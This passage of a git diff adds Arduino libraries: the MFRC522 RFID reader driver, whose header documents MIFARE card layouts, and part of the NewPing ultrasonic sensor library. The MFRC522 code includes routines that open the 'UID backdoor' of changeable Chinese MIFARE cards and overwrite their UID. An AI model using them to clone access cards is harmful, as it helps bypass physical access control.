10-14 (for sectors 32-39) + byte g3 ///< Access bits C1 C2 C3] for the sector trailer, block 3 (for sectors 0-31) or block 15 (for sectors 32-39) + ) { + byte c1 = ((g3 & 4) << 1) | ((g2 & 4) << 0) | ((g1 & 4) >> 1) | ((g0 & 4) >> 2); + byte c2 = ((g3 & 2) << 2) | ((g2 & 2) << 1) | ((g1 & 2) << 0) | ((g0 & 2) >> 1); + byte c3 = ((g3 & 1) << 3) | ((g2 & 1) << 2) | ((g1 & 1) << 1) | ((g0 & 1) << 0); + + accessBitBuffer[0] = (~c2 & 0xF) << 4 | (~c1 & 0xF); + accessBitBuffer[1] = c1 << 4 | (~c3 & 0xF); + accessBitBuffer[2] = c3 << 4 | c2; +} // End MIFARE_SetAccessBits() + + +/** + * Performs the "magic sequence" needed to get Chinese UID changeable + * Mifare cards to allow writing to sector 0, where the card UID is stored. + * + * Note that you do not need to have selected the card through REQA or WUPA, + * this sequence works immediately when the card is in the reader vicinity. + * This means you can use this method even on "bricked" cards that your reader does + * not recognise anymore (see MFRC522::MIFARE_UnbrickUidSector). + * + * Of course with non-bricked devices, you're free to select them before calling this function. + */ +bool MFRC522::MIFARE_OpenUidBackdoor(bool logErrors) { + // Magic sequence: + // > 50 00 57 CD (HALT + CRC) + // > 40 (7 bits only) + // < A (4 bits only) + // > 43 + // < A (4 bits only) + // Then you can write to sector 0 without authenticating + + PICC_HaltA(); // 50 00 57 CD + + byte cmd = 0x40; + byte validBits = 7; /* Our command is only 7 bits. After receiving card response, + this will contain amount of valid response bits. */ + byte response[32]; // Card's response is written here + byte received; + byte status = PCD_TransceiveData(&cmd, (byte)1, response, &received, &validBits, (byte)0, false); // 40 + if( status != STATUS_OK ) { + if( logErrors ) { + Serial.println("Card did not respond to 0x40 after HALT command. Are you sure it is a UID changeable one?"); + Serial.print("Error name: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + if ( received != 1 || response[0] != 0x0A ) { + if ( logErrors ) { + Serial.print("Got bad response on backdoor 0x40 command: "); + Serial.print(response[0], HEX); + Serial.print(" ("); + Serial.print(validBits); + Serial.print(" valid bits)\r\n"); + } + return false; + } + + cmd = 0x43; + validBits = 8; + status = PCD_TransceiveData(&cmd, (byte)1, response, &received, &validBits, (byte)0, false); // 43 + if( status != STATUS_OK ) { + if( logErrors ) { + Serial.println("Error in communication at command 0x43, after successfully executing 0x40"); + Serial.print("Error name: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + if ( received != 1 || response[0] != 0x0A ) { + if ( logErrors ) { + Serial.print("Got bad response on backdoor 0x43 command: "); + Serial.print(response[0], HEX); + Serial.print(" ("); + Serial.print(validBits); + Serial.print(" valid bits)\r\n"); + } + return false; + } + + // You can now write to sector 0 without authenticating! + return true; +} // End MIFARE_OpenUidBackdoor() + +/** + * Reads entire block 0, including all manufacturer data, and overwrites + * that block with the new UID, a freshly calculated BCC, and the original + * manufacturer data. + * + * It assumes a default KEY A of 0xFFFFFFFFFFFF. + * Make sure to have selected the card before this function is called. + */ +bool MFRC522::MIFARE_SetUid(byte* newUid, byte uidSize, bool logErrors) { + + // UID + BCC byte can not be larger than 16 together + if ( !newUid || !uidSize || uidSize > 15) { + if ( logErrors ) { + Serial.println("New UID buffer empty, size 0, or size > 15 given"); + } + return false; + } + + // Authenticate for reading + MIFARE_Key key = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + byte status = PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, (byte)1, &key, &uid); + if ( status != STATUS_OK ) { + + if ( status == STATUS_TIMEOUT ) { + // We get a read timeout if no card is selected yet, so let's select one + + // Wake the card up again if sleeping +// byte atqa_answer[2]; +// byte atqa_size = 2; +// PICC_WakeupA(atqa_answer, &atqa_size); + + if ( !PICC_IsNewCardPresent() || !PICC_ReadCardSerial() ) { + Serial.println("No card was previously selected, and none are available. Failed to set UID."); + return false; + } + + status = PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, (byte)1, &key, &uid); + if ( status != STATUS_OK ) { + // We tried, time to give up + if ( logErrors ) { + Serial.println("Failed to authenticate to card for reading, could not set UID: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + } + else { + if ( logErrors ) { + Serial.print("PCD_Authenticate() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + } + + // Read block 0 + byte block0_buffer[18]; + byte byteCount = sizeof(block0_buffer); + status = MIFARE_Read((byte)0, block0_buffer, &byteCount); + if ( status != STATUS_OK ) { + if ( logErrors ) { + Serial.print("MIFARE_Read() failed: "); + Serial.println(GetStatusCodeName(status)); + Serial.println("Are you sure your KEY A for sector 0 is 0xFFFFFFFFFFFF?"); + } + return false; + } + + // Write new UID to the data we just read, and calculate BCC byte + byte bcc = 0; + for ( int i = 0; i < uidSize; i++ ) { + block0_buffer[i] = newUid[i]; + bcc ^= newUid[i]; + } + + // Write BCC byte to buffer + block0_buffer[uidSize] = bcc; + + // Stop encrypted traffic so we can send raw bytes + PCD_StopCrypto1(); + + // Activate UID backdoor + if ( !MIFARE_OpenUidBackdoor(logErrors) ) { + if ( logErrors ) { + Serial.println("Activating the UID backdoor failed."); + } + return false; + } + + // Write modified block 0 back to card + status = MIFARE_Write((byte)0, block0_buffer, (byte)16); + if (status != STATUS_OK) { + if ( logErrors ) { + Serial.print("MIFARE_Write() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } + + // Wake the card up again + byte atqa_answer[2]; + byte atqa_size = 2; + PICC_WakeupA(atqa_answer, &atqa_size); + + return true; +} + +/** + * Resets entire sector 0 to zeroes, so the card can be read again by readers. + */ +bool MFRC522::MIFARE_UnbrickUidSector(bool logErrors) { + MIFARE_OpenUidBackdoor( logErrors ); + + byte block0_buffer[] = {0x01, 0x02, 0x03, 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + // Write modified block 0 back to card + byte status = MIFARE_Write((byte)0, block0_buffer, (byte)16); + if (status != STATUS_OK) { + if ( logErrors ) { + Serial.print("MIFARE_Write() failed: "); + Serial.println(GetStatusCodeName(status)); + } + return false; + } +} + +///////////////////////////////////////////////////////////////////////////////////// +// Convenience functions - does not add extra functionality +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Returns true if a PICC responds to PICC_CMD_REQA. + * Only "new" cards in state IDLE are invited. Sleeping cards in state HALT are ignored. + * + * @return bool + */ +bool MFRC522::PICC_IsNewCardPresent() { + byte bufferATQA[2]; + byte bufferSize = sizeof(bufferATQA); + byte result = PICC_RequestA(bufferATQA, &bufferSize); + return (result == STATUS_OK || result == STATUS_COLLISION); +} // End PICC_IsNewCardPresent() + +/** + * Simple wrapper around PICC_Select. + * Returns true if a UID could be read. + * Remember to call PICC_IsNewCardPresent(), PICC_RequestA() or PICC_WakeupA() first. + * The read UID is available in the class variable uid. + * + * @return bool + */ +bool MFRC522::PICC_ReadCardSerial() { + byte result = PICC_Select(&uid); + return (result == STATUS_OK); +} // End PICC_ReadCardSerial() + diff --git a/libraries/PLabLib2/MFRC522.h b/libraries/PLabLib2/MFRC522.h new file mode 100755 index 0000000..563dc1c --- /dev/null +++ b/libraries/PLabLib2/MFRC522.h @@ -0,0 +1,349 @@ +/** + * MFRC522.h - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT. + * Based on code Dr.Leong ( WWW.B2CQSHOP.COM ) + * Created by Miguel Balboa (circuitito.com), Jan, 2012. + * Rewritten by Søren Thing Andersen (access.thing.dk), fall of 2013 (Translation to English, refactored, comments, anti collision, cascade levels.) + * Extended by Tom Clement with functionality to write to sector 0 of UID changeable Mifare cards. + * Released into the public domain. + * + * Please read this file for an overview and then MFRC522.cpp for comments on the specific functions. + * Search for "mf-rc522" on ebay.com to purchase the MF-RC522 board. + * + * There are three hardware components involved: + * 1) The micro controller: An Arduino + * 2) The PCD (short for Proximity Coupling Device): NXP MFRC522 Contactless Reader IC + * 3) The PICC (short for Proximity Integrated Circuit Card): A card or tag using the ISO 14443A interface, eg Mifare or NTAG203. + * + * The microcontroller and card reader uses SPI for communication. + * The protocol is described in the MFRC522 datasheet: http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * + * The card reader and the tags communicate using a 13.56MHz electromagnetic field. + * The protocol is defined in ISO/IEC 14443-3 Identification cards -- Contactless integrated circuit cards -- Proximity cards -- Part 3: Initialization and anticollision". + * A free version of the final draft can be found at http://wg8.de/wg8n1496_17n3613_Ballot_FCD14443-3.pdf + * Details are found in chapter 6, Type A – Initialization and anticollision. + * + * If only the PICC UID is wanted, the above documents has all the needed information. + * To read and write from MIFARE PICCs, the MIFARE protocol is used after the PICC has been selected. + * The MIFARE Classic chips and protocol is described in the datasheets: + * 1K: http://www.nxp.com/documents/data_sheet/MF1S503x.pdf + * 4K: http://www.nxp.com/documents/data_sheet/MF1S703x.pdf + * Mini: http://www.idcardmarket.com/download/mifare_S20_datasheet.pdf + * The MIFARE Ultralight chip and protocol is described in the datasheets: + * Ultralight: http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf + * Ultralight C: http://www.nxp.com/documents/short_data_sheet/MF0ICU2_SDS.pdf + * + * MIFARE Classic 1K (MF1S503x): + * Has 16 sectors * 4 blocks/sector * 16 bytes/block = 1024 bytes. + * The blocks are numbered 0-63. + * Block 3 in each sector is the Sector Trailer. See http://www.nxp.com/documents/data_sheet/MF1S503x.pdf sections 8.6 and 8.7: + * Bytes 0-5: Key A + * Bytes 6-8: Access Bits + * Bytes 9: User data + * Bytes 10-15: Key B (or user data) + * Block 0 is read only manufacturer data. + * To access a block, an authentication using a key from the block's sector must be performed first. + * Example: To read from block 10, first authenticate using a key from sector 3 (blocks 8-11). + * All keys are set to FFFFFFFFFFFFh at chip delivery. + * Warning: Please read section 8.7 "Memory Access". It includes this text: if the PICC detects a format violation the whole sector is irreversibly blocked. + * To use a block in "value block" mode (for Increment/Decrement operations) you need to change the sector trailer. Use PICC_SetAccessBits() to calculate the bit patterns. + * MIFARE Classic 4K (MF1S703x): + * Has (32 sectors * 4 blocks/sector + 8 sectors * 16 blocks/sector) * 16 bytes/block = 4096 bytes. + * The blocks are numbered 0-255. + * The last block in each sector is the Sector Trailer like above. + * MIFARE Classic Mini (MF1 IC S20): + * Has 5 sectors * 4 blocks/sector * 16 bytes/block = 320 bytes. + * The blocks are numbered 0-19. + * The last block in each sector is the Sector Trailer like above. + * + * MIFARE Ultralight (MF0ICU1): + * Has 16 pages of 4 bytes = 64 bytes. + * Pages 0 + 1 is used for the 7-byte UID. + * Page 2 contains the last chech digit for the UID, one byte manufacturer internal data, and the lock bytes (see http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf section 8.5.2) + * Page 3 is OTP, One Time Programmable bits. Once set to 1 they cannot revert to 0. + * Pages 4-15 are read/write unless blocked by the lock bytes in page 2. + * MIFARE Ultralight C (MF0ICU2): + * Has 48 pages of 4 bytes = 64 bytes. + * Pages 0 + 1 is used for the 7-byte UID. + * Page 2 contains the last chech digit for the UID, one byte manufacturer internal data, and the lock bytes (see http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf section 8.5.2) + * Page 3 is OTP, One Time Programmable bits. Once set to 1 they cannot revert to 0. + * Pages 4-39 are read/write unless blocked by the lock bytes in page 2. + * Page 40 Lock bytes + * Page 41 16 bit one way counter + * Pages 42-43 Authentication configuration + * Pages 44-47 Authentication key + */ +#ifndef MFRC522_h +#define MFRC522_h + +#include +#include + +class MFRC522 { +public: + // MFRC522 registers. Described in chapter 9 of the datasheet. + // When using SPI all addresses are shifted one bit left in the "SPI address byte" (section 8.1.2.3) + enum PCD_Register { + // Page 0: Command and status + // 0x00 // reserved for future use + CommandReg = 0x01 << 1, // starts and stops command execution + ComIEnReg = 0x02 << 1, // enable and disable interrupt request control bits + DivIEnReg = 0x03 << 1, // enable and disable interrupt request control bits + ComIrqReg = 0x04 << 1, // interrupt request bits + DivIrqReg = 0x05 << 1, // interrupt request bits + ErrorReg = 0x06 << 1, // error bits showing the error status of the last command executed + Status1Reg = 0x07 << 1, // communication status bits + Status2Reg = 0x08 << 1, // receiver and transmitter status bits + FIFODataReg = 0x09 << 1, // input and output of 64 byte FIFO buffer + FIFOLevelReg = 0x0A << 1, // number of bytes stored in the FIFO buffer + WaterLevelReg = 0x0B << 1, // level for FIFO underflow and overflow warning + ControlReg = 0x0C << 1, // miscellaneous control registers + BitFramingReg = 0x0D << 1, // adjustments for bit-oriented frames + CollReg = 0x0E << 1, // bit position of the first bit-collision detected on the RF interface + // 0x0F // reserved for future use + + // Page 1: Command + // 0x10 // reserved for future use + ModeReg = 0x11 << 1, // defines general modes for transmitting and receiving + TxModeReg = 0x12 << 1, // defines transmission data rate and framing + RxModeReg = 0x13 << 1, // defines reception data rate and framing + TxControlReg = 0x14 << 1, // controls the logical behavior of the antenna driver pins TX1 and TX2 + TxASKReg = 0x15 << 1, // controls the setting of the transmission modulation + TxSelReg = 0x16 << 1, // selects the internal sources for the antenna driver + RxSelReg = 0x17 << 1, // selects internal receiver settings + RxThresholdReg = 0x18 << 1, // selects thresholds for the bit decoder + DemodReg = 0x19 << 1, // defines demodulator settings + // 0x1A // reserved for future use + // 0x1B // reserved for future use + MfTxReg = 0x1C << 1, // controls some MIFARE communication transmit parameters + MfRxReg = 0x1D << 1, // controls some MIFARE communication receive parameters + // 0x1E // reserved for future use + SerialSpeedReg = 0x1F << 1, // selects the speed of the serial UART interface + + // Page 2: Configuration + // 0x20 // reserved for future use + CRCResultRegH = 0x21 << 1, // shows the MSB and LSB values of the CRC calculation + CRCResultRegL = 0x22 << 1, + // 0x23 // reserved for future use + ModWidthReg = 0x24 << 1, // controls the ModWidth setting? + // 0x25 // reserved for future use + RFCfgReg = 0x26 << 1, // configures the receiver gain + GsNReg = 0x27 << 1, // selects the conductance of the antenna driver pins TX1 and TX2 for modulation + CWGsPReg = 0x28 << 1, // defines the conductance of the p-driver output during periods of no modulation + ModGsPReg = 0x29 << 1, // defines the conductance of the p-driver output during periods of modulation + TModeReg = 0x2A << 1, // defines settings for the internal timer + TPrescalerReg = 0x2B << 1, // the lower 8 bits of the TPrescaler value. The 4 high bits are in TModeReg. + TReloadRegH = 0x2C << 1, // defines the 16-bit timer reload value + TReloadRegL = 0x2D << 1, + TCounterValueRegH = 0x2E << 1, // shows the 16-bit timer value + TCounterValueRegL = 0x2F << 1, + + // Page 3: Test Registers + // 0x30 // reserved for future use + TestSel1Reg = 0x31 << 1, // general test signal configuration + TestSel2Reg = 0x32 << 1, // general test signal configuration + TestPinEnReg = 0x33 << 1, // enables pin output driver on pins D1 to D7 + TestPinValueReg = 0x34 << 1, // defines the values for D1 to D7 when it is used as an I/O bus + TestBusReg = 0x35 << 1, // shows the status of the internal test bus + AutoTestReg = 0x36 << 1, // controls the digital self test + VersionReg = 0x37 << 1, // shows the software version + AnalogTestReg = 0x38 << 1, // controls the pins AUX1 and AUX2 + TestDAC1Reg = 0x39 << 1, // defines the test value for TestDAC1 + TestDAC2Reg = 0x3A << 1, // defines the test value for TestDAC2 + TestADCReg = 0x3B << 1 // shows the value of ADC I and Q channels + // 0x3C // reserved for production tests + // 0x3D // reserved for production tests + // 0x3E // reserved for production tests + // 0x3F // reserved for production tests + }; + + // MFRC522 commands. Described in chapter 10 of the datasheet. + enum PCD_Command { + PCD_Idle = 0x00, // no action, cancels current command execution + PCD_Mem = 0x01, // stores 25 bytes into the internal buffer + PCD_GenerateRandomID = 0x02, // generates a 10-byte random ID number + PCD_CalcCRC = 0x03, // activates the CRC coprocessor or performs a self test + PCD_Transmit = 0x04, // transmits data from the FIFO buffer + PCD_NoCmdChange = 0x07, // no command change, can be used to modify the CommandReg register bits without affecting the command, for example, the PowerDown bit + PCD_Receive = 0x08, // activates the receiver circuits + PCD_Transceive = 0x0C, // transmits data from FIFO buffer to antenna and automatically activates the receiver after transmission + PCD_MFAuthent = 0x0E, // performs the MIFARE standard authentication as a reader + PCD_SoftReset = 0x0F // resets the MFRC522 + }; + + // MFRC522 RxGain[2:0] masks, defines the receiver's signal voltage gain factor (on the PCD). + // Described in 9.3.3.6 / table 98 of the datasheet at http://www.nxp.com/documents/data_sheet/MFRC522.pdf + enum PCD_RxGain { + RxGain_18dB = 0x00 << 4, // 000b - 18 dB, minimum + RxGain_23dB = 0x01 << 4, // 001b - 23 dB + RxGain_18dB_2 = 0x02 << 4, // 010b - 18 dB, it seems 010b is a duplicate for 000b + RxGain_23dB_2 = 0x03 << 4, // 011b - 23 dB, it seems 011b is a duplicate for 001b + RxGain_33dB = 0x04 << 4, // 100b - 33 dB, average, and typical default + RxGain_38dB = 0x05 << 4, // 101b - 38 dB + RxGain_43dB = 0x06 << 4, // 110b - 43 dB + RxGain_48dB = 0x07 << 4, // 111b - 48 dB, maximum + RxGain_min = 0x00 << 4, // 000b - 18 dB, minimum, convenience for RxGain_18dB + RxGain_avg = 0x04 << 4, // 100b - 33 dB, average, convenience for RxGain_33dB + RxGain_max = 0x07 << 4 // 111b - 48 dB, maximum, convenience for RxGain_48dB + }; + + // Commands sent to the PICC. + enum PICC_Command { + // The commands used by the PCD to manage communication with several PICCs (ISO 14443-3, Type A, section 6.4) + PICC_CMD_REQA = 0x26, // REQuest command, Type A. Invites PICCs in state IDLE to go to READY and prepare for anticollision or selection. 7 bit frame. + PICC_CMD_WUPA = 0x52, // Wake-UP command, Type A. Invites PICCs in state IDLE and HALT to go to READY(*) and prepare for anticollision or selection. 7 bit frame. + PICC_CMD_CT = 0x88, // Cascade Tag. Not really a command, but used during anti collision. + PICC_CMD_SEL_CL1 = 0x93, // Anti collision/Select, Cascade Level 1 + PICC_CMD_SEL_CL2 = 0x95, // Anti collision/Select, Cascade Level 1 + PICC_CMD_SEL_CL3 = 0x97, // Anti collision/Select, Cascade Level 1 + PICC_CMD_HLTA = 0x50, // HaLT command, Type A. Instructs an ACTIVE PICC to go to state HALT. + // The commands used for MIFARE Classic (from http://www.nxp.com/documents/data_sheet/MF1S503x.pdf, Section 9) + // Use PCD_MFAuthent to authenticate access to a sector, then use these commands to read/write/modify the blocks on the sector. + // The read/write commands can also be used for MIFARE Ultralight. + PICC_CMD_MF_AUTH_KEY_A = 0x60, // Perform authentication with Key A + PICC_CMD_MF_AUTH_KEY_B = 0x61, // Perform authentication with Key B + PICC_CMD_MF_READ = 0x30, // Reads one 16 byte block from the authenticated sector of the PICC. Also used for MIFARE Ultralight. + PICC_CMD_MF_WRITE = 0xA0, // Writes one 16 byte block to the authenticated sector of the PICC. Called "COMPATIBILITY WRITE" for MIFARE Ultralight. + PICC_CMD_MF_DECREMENT = 0xC0, // Decrements the contents of a block and stores the result in the internal data register. + PICC_CMD_MF_INCREMENT = 0xC1, // Increments the contents of a block and stores the result in the internal data register. + PICC_CMD_MF_RESTORE = 0xC2, // Reads the contents of a block into the internal data register. + PICC_CMD_MF_TRANSFER = 0xB0, // Writes the contents of the internal data register to a block. + // The commands used for MIFARE Ultralight (from http://www.nxp.com/documents/data_sheet/MF0ICU1.pdf, Section 8.6) + // The PICC_CMD_MF_READ and PICC_CMD_MF_WRITE can also be used for MIFARE Ultralight. + PICC_CMD_UL_WRITE = 0xA2 // Writes one 4 byte page to the PICC. + }; + + // MIFARE constants that does not fit anywhere else + enum MIFARE_Misc { + MF_ACK = 0xA, // The MIFARE Classic uses a 4 bit ACK/NAK. Any other value than 0xA is NAK. + MF_KEY_SIZE = 6 // A Mifare Crypto1 key is 6 bytes. + }; + + // PICC types we can detect. Remember to update PICC_GetTypeName() if you add more. + enum PICC_Type { + PICC_TYPE_UNKNOWN = 0, + PICC_TYPE_ISO_14443_4 = 1, // PICC compliant with ISO/IEC 14443-4 + PICC_TYPE_ISO_18092 = 2, // PICC compliant with ISO/IEC 18092 (NFC) + PICC_TYPE_MIFARE_MINI = 3, // MIFARE Classic protocol, 320 bytes + PICC_TYPE_MIFARE_1K = 4, // MIFARE Classic protocol, 1KB + PICC_TYPE_MIFARE_4K = 5, // MIFARE Classic protocol, 4KB + PICC_TYPE_MIFARE_UL = 6, // MIFARE Ultralight or Ultralight C + PICC_TYPE_MIFARE_PLUS = 7, // MIFARE Plus + PICC_TYPE_TNP3XXX = 8, // Only mentioned in NXP AN 10833 MIFARE Type Identification Procedure + PICC_TYPE_NOT_COMPLETE = 255 // SAK indicates UID is not complete. + }; + + // Return codes from the functions in this class. Remember to update GetStatusCodeName() if you add more. + enum StatusCode { + STATUS_OK = 1, // Success + STATUS_ERROR = 2, // Error in communication + STATUS_COLLISION = 3, // Collission detected + STATUS_TIMEOUT = 4, // Timeout in communication. + STATUS_NO_ROOM = 5, // A buffer is not big enough. + STATUS_INTERNAL_ERROR = 6, // Internal error in the code. Should not happen ;-) + STATUS_INVALID = 7, // Invalid argument. + STATUS_CRC_WRONG = 8, // The CRC_A does not match + STATUS_MIFARE_NACK = 9 // A MIFARE PICC responded with NAK. + }; + + // A struct used for passing the UID of a PICC. + typedef struct { + byte size; // Number of bytes in the UID. 4, 7 or 10. + byte uidByte[10]; + byte sak; // The SAK (Select acknowledge) byte returned from the PICC after successful selection. + } Uid; + + // A struct used for passing a MIFARE Crypto1 key + typedef struct { + byte keyByte[MF_KEY_SIZE]; + } MIFARE_Key; + + // Member variables + Uid uid; // Used by PICC_ReadCardSerial(). + + // Size of the MFRC522 FIFO + static const byte FIFO_SIZE = 64; // The FIFO is 64 bytes. + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for setting up the Arduino + ///////////////////////////////////////////////////////////////////////////////////// + MFRC522(byte chipSelectPin, byte resetPowerDownPin); + void setSPIConfig(); + + ///////////////////////////////////////////////////////////////////////////////////// + // Basic interface functions for communicating with the MFRC522 + ///////////////////////////////////////////////////////////////////////////////////// + void PCD_WriteRegister(byte reg, byte value); + void PCD_WriteRegister(byte reg, byte count, byte *values); + byte PCD_ReadRegister(byte reg); + void PCD_ReadRegister(byte reg, byte count, byte *values, byte rxAlign = 0); + void setBitMask(unsigned char reg, unsigned char mask); + void PCD_SetRegisterBitMask(byte reg, byte mask); + void PCD_ClearRegisterBitMask(byte reg, byte mask); + byte PCD_CalculateCRC(byte *data, byte length, byte *result); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for manipulating the MFRC522 + ///////////////////////////////////////////////////////////////////////////////////// + void PCD_Init(); + void PCD_Reset(); + void PCD_AntennaOn(); + void PCD_AntennaOff(); + byte PCD_GetAntennaGain(); + void PCD_SetAntennaGain(byte mask); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for communicating with PICCs + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_TransceiveData(byte *sendData, byte sendLen, byte *backData, byte *backLen, byte *validBits = NULL, byte rxAlign = 0, bool checkCRC = false); + byte PCD_CommunicateWithPICC(byte command, byte waitIRq, byte *sendData, byte sendLen, byte *backData = NULL, byte *backLen = NULL, byte *validBits = NULL, byte rxAlign = 0, bool checkCRC = false); + + byte PICC_RequestA(byte *bufferATQA, byte *bufferSize); + byte PICC_WakeupA(byte *bufferATQA, byte *bufferSize); + byte PICC_REQA_or_WUPA(byte command, byte *bufferATQA, byte *bufferSize); + byte PICC_Select(Uid *uid, byte validBits = 0); + byte PICC_HaltA(); + + ///////////////////////////////////////////////////////////////////////////////////// + // Functions for communicating with MIFARE PICCs + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_Authenticate(byte command, byte blockAddr, MIFARE_Key *key, Uid *uid); + void PCD_StopCrypto1(); + byte MIFARE_Read(byte blockAddr, byte *buffer, byte *bufferSize); + byte MIFARE_Write(byte blockAddr, byte *buffer, byte bufferSize); + byte MIFARE_Decrement(byte blockAddr, long delta); + byte MIFARE_Increment(byte blockAddr, long delta); + byte MIFARE_Restore(byte blockAddr); + byte MIFARE_Transfer(byte blockAddr); + byte MIFARE_Ultralight_Write(byte page, byte *buffer, byte bufferSize); + byte MIFARE_GetValue(byte blockAddr, long *value); + byte MIFARE_SetValue(byte blockAddr, long value); + + ///////////////////////////////////////////////////////////////////////////////////// + // Support functions + ///////////////////////////////////////////////////////////////////////////////////// + byte PCD_MIFARE_Transceive( byte *sendData, byte sendLen, bool acceptTimeout = false); + const char *GetStatusCodeName(byte code); + byte PICC_GetType(byte sak); + const char *PICC_GetTypeName(byte type); + void PICC_DumpToSerial(Uid *uid); + void PICC_DumpMifareClassicToSerial(Uid *uid, byte piccType, MIFARE_Key *key); + void PICC_DumpMifareClassicSectorToSerial(Uid *uid, MIFARE_Key *key, byte sector); + void PICC_DumpMifareUltralightToSerial(); + void MIFARE_SetAccessBits(byte *accessBitBuffer, byte g0, byte g1, byte g2, byte g3); + bool MIFARE_OpenUidBackdoor(bool logErrors); + bool MIFARE_SetUid(byte* newUid, byte uidSize, bool logErrors); + bool MIFARE_UnbrickUidSector(bool logErrors); + + ///////////////////////////////////////////////////////////////////////////////////// + // Convenience functions - does not add extra functionality + ///////////////////////////////////////////////////////////////////////////////////// + bool PICC_IsNewCardPresent(); + bool PICC_ReadCardSerial(); + +private: + byte _chipSelectPin; // Arduino pin connected to MFRC522's SPI slave select input (Pin 24, NSS, active low) + byte _resetPowerDownPin; // Arduino pin connected to MFRC522's reset and power down input (Pin 6, NRSTPD, active low) + byte MIFARE_TwoStepHelper(byte command, byte blockAddr, long data); +}; + +#endif diff --git a/libraries/PLabLib3/NewPing.cpp b/libraries/PLabLib3/NewPing.cpp new file mode 100755 index 0000000..edf0135 --- /dev/null +++ b/libraries/PLabLib3/NewPing.cpp @@ -0,0 +1,231 @@ +// --------------------------------------------------------------------------- +// Created by Tim Eckel - teckel@leethost.com +// Copyright 2012 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html +// +// See "NewPing.h" for purpose, syntax, version history, links, and more. +// --------------------------------------------------------------------------- + +#include "NewPing.h" + + +// --------------------------------------------------------------------------- +// NewPing constructor +// --------------------------------------------------------------------------- + +NewPing::NewPing(uint8_t trigger_pin, uint8_t echo_pin, int max_cm_distance) { + _triggerBit = digitalPinToBitMask(trigger_pin); // Get the port register bitmask for the trigger pin. + _echoBit = digitalPinToBitMask(echo_pin); // Get the port register bitmask for the echo pin. + + _triggerOutput = portOutputRegister(digitalPinToPort(trigger_pin)); // Get the output port register for the trigger pin. + _echoInput = portInputRegister(digitalPinToPort(echo_pin)); // Get the input port register for the echo pin. + + _triggerMode = (uint8_t *) portModeRegister(digitalPinToPort(trigger_pin)); // Get the port mode register for the trigger pin. + + _maxEchoTime = min(max_cm_distance, MAX_SENSOR_DISTANCE) * US_ROUNDTRIP_CM + (US_ROUNDTRIP_CM / 2); // Calculate the maximum distance in uS. + +#if DISABLE_ONE_PIN == true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif +} + + +// --------------------------------------------------------------------------- +// Standard ping methods +// --------------------------------------------------------------------------- + +unsigned int NewPing::ping() { + if (!ping_trigger()) return NO_ECHO; // Trigger a ping, if it returns false, return NO_ECHO to the calling function. + while (*_echoInput & _echoBit) // Wait for the ping echo. + if (micros() > _max_time) return NO_ECHO; // Stop the loop and return NO_ECHO (false) if we're beyond the set maximum distance. + return (micros() - (_max_time - _maxEchoTime) - 5); // Calculate ping time, 5uS of overhead. +} + + +unsigned int NewPing::ping_in() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_IN); // Convert uS to inches. +} + + +unsigned int NewPing::ping_cm() { + unsigned int echoTime = NewPing::ping(); // Calls the ping method and returns with the ping echo distance in uS. + return NewPingConvert(echoTime, US_ROUNDTRIP_CM); // Convert uS to centimeters. +} + + +unsigned int NewPing::ping_median(uint8_t it) { + unsigned int uS[it], last; + uint8_t j, i = 0; + uS[0] = NO_ECHO; + while (i < it) { + last = ping(); // Send ping. + if (last == NO_ECHO) { // Ping out of range. + it--; // Skip, don't include as part of median. + last = _maxEchoTime; // Adjust "last" variable so delay is correct length. + } else { // Ping in range, include as part of median. + if (i > 0) { // Don't start sort till second ping. + for (j = i; j > 0 && uS[j - 1] < last; j--) // Insertion sort loop. + uS[j] = uS[j - 1]; // Shift ping array to correct position for sort insertion. + } else j = 0; // First ping is starting point for sort. + uS[j] = last; // Add last ping to array in sorted position. + i++; // Move to next ping. + } + if (i < it) delay(PING_MEDIAN_DELAY - (last >> 10)); // Millisecond delay between pings. + } + return (uS[it >> 1]); // Return the ping distance median. +} + + +// --------------------------------------------------------------------------- +// Standard ping method support functions (not called directly) +// --------------------------------------------------------------------------- + +boolean NewPing::ping_trigger() { +#if DISABLE_ONE_PIN != true + *_triggerMode |= _triggerBit; // Set trigger pin to output. +#endif + *_triggerOutput &= ~_triggerBit; // Set the trigger pin low, should already be low, but this will make sure it is. + delayMicroseconds(4); // Wait for pin to go low, testing shows it needs 4uS to work every time. + *_triggerOutput |= _triggerBit; // Set trigger pin high, this tells the sensor to send out a ping. + delayMicroseconds(10); // Wait long enough for the sensor to realize the trigger pin is high. Sensor specs say to wait 10uS. + *_triggerOutput &= ~_triggerBit; // Set trigger pin back to low. +#if DISABLE_ONE_PIN != true + *_triggerMode &= ~_triggerBit; // Set trigger pin to input (when using one Arduino pin this is technically setting the echo pin to input as both are tied to the same Arduino pin). +#endif + + _max_time = micros() + MAX_SENSOR_DELAY; // Set a timeout for the ping to trigger. + while (*_echoInput & _echoBit && micros() <= _max_time) {} // Wait for echo pin to clear. + while (!(*_echoInput & _echoBit)) // Wait for ping to start. + if (micros() > _max_time) return false; // Something went wrong, abort. + + _max_time = micros() + _maxEchoTime; // Ping started, set the timeout. + return true; // Ping started successfully. +} + + +// --------------------------------------------------------------------------- +// Timer interrupt ping methods (won't 